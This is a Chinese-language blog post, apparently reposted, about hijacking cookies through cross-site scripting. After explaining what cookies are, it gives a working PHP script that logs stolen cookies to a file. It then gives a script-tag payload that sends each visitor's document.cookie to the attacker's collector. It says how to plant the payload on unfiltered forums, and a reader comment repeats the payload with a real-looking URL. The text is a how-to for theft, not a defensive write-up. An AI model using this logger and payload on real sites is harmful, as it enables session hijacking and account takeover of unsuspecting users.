Skip to main content
 首页 » 信息安全

关于盗取Cookie的代码和体会

2015年01月19日25021

在XSS大行其道的今天,cookie劫持是跨站脚本攻击中一个很主要的攻击方向。那么为什么cookie如此重要呢? 

首先,我们来了解下什么是cookie,还有cookie里到底存放着什么。 

Cookie,有时也用其复数形式Cookies,指某些网站为了辨别用户身份而储存在用户本地终端上的数据(通常是经过加密的)。定义于RFC2109。服务器可以利用Cookie包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。Cookie最典型的应用是判定注册用户是否已经登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续,这些都是Cookie的用途。另一个重要应用场合是“购物车”之类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同的商品,这些信息都会写入Cookies,以便在最后付款时提取信息。 

看了上面的内容相信大家对cookie已经有所了解了。那么,请您浏览个需要登陆的页面(比如论坛),进入之后,把地址栏清空后在地址栏里写入javascript:alert(document.cookie)。你就会看到这个登陆页面在你计算机里保存的cookie了。 

很显然,cookie并不是十分安全的,如果任何形式的漏洞给予攻击者得到别人cookie的机会,都是相当危险的。非常不幸,很多站点都在cookie的安全性上存在这样或那样的缺陷。这让黑客们很轻松的得到了cookie中保存的密码加密后的散列,虽然这并不意味着他们很有可能攻破我们所精心构筑的防线,但起码,这为他们入侵提供了一扇窗。 

现在,你知道为什么cookie是重要的了,它经常存放着异常敏感的用户信息。但是,我们如何才能得到或者更改别人的cookie呢?这便是cookie劫持了。 

cookie劫持包含两个条件。首先,你需要一个脚本来获取cookie;另外,需要一个途径把截取到的cookie发送到我们的脚本。写一个获取cookie的脚本是很简单的事情,真正的困难在于我们如何得到我们需要的那个途径。下面便是一个php的获取cookie的脚本(也可以用ASP来写这个脚本): 

<?php 

$cookie = $_GET['cookie']; 

$log = fopen("cookie.txt", "a"); 

fwrite($log, $cookie ."\n"); 

fclose($log); 

?> 

我们把这个脚本放在支持PHP的空间里保存为cookie.php。那么,第一个条件我们已经有了。 

让我们假设有一个网站。这个网站有用户登录的页面,可以是个留言板或者论坛什么的。而且这个网站没有任何形式的过滤。这意味着我们可以随意的把HTML和JavaScript语句直接插入到任何用户输入的地方。我给你一个借鉴的代码,我们可以用这个代码来获取用户的cookie: 

<script> 

document.location = 'http://你的网址/cookie.php?cookie=' + document.cookie; 

</script> 


现在,任何浏览这个页面的人都会被你的攻击语句指向你获取COOKIE的脚本执行你的代码,你可以去查看下你网站根目录下的cookie.txt,它保存着访问这个页面的人的cookie了。

但是,cookie窃取攻击并不是如此简单。如果网站管理员在用户输入中加入了过滤代码,那么cookie窃取便变的非常难以利用。 

所以,cookie窃取和其他XSS攻击一样,主要都是研究如何饶过过滤,实现我们入侵的目的。 

网上摘录的,感觉写的不错,有收获。。


评论列表1条评论
s
s回复 document.location = 'http://https://www.arvinhk.com/?id=124/cookie.php?cookie=' + document.cookie;
发表评论
新浪微博
微信